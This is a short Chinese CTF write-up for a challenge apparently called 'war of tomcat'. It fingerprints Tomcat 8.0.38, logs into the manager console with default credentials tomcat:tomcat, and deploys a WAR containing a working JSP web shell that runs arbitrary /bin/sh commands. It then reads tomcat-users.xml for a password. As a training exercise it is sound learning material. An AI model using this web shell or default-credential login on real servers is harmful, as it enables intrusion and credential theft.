freopen's Blog

war of tomcat 题解

war of tomcat 题解

0x01 信息收集

题目是War of tomcat 说明是tomcat, 从HTTP Header的Apache-Coyote/1.1和Cookie里面的JSESSIONID字段也能看出来

请求一个不存在的页面,错误页底部会报 Apache Tomcat/8.0.38

目录探测:

路径结果
/docs /examples200
/manager302 → /manager/html
/manager/html401,WWW-Authenticate: Basic realm="Tomcat Manager Application"
/host-manager401

尝试弱口令tomcat:tomcat

image-20260910145240466成功进入后台

0x02 恶意 WAR 上线

写一个执行命令的 JSP,打成 WAR,丢进 manager 后台让它自动部署

<%
String c = request.getParameter("c");
if (c != null) {
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", c});
  java.io.InputStream in = p.getInputStream();
  int b; while ((b = in.read()) != -1) out.print((char) b);
}
%>

打包成 WAR(其实 WAR 就是 zip):

zip shell.war cmd.jsp

上传,然后用中国蚁剑的CMDLINUX模式连接

image-20260910152933181

0x03 找 Flag

题目要求读取 melody 用户的密码 Tomcat 部署经常把密码写在 conf/tomcat-users.xml 读取即可image-20260910153900341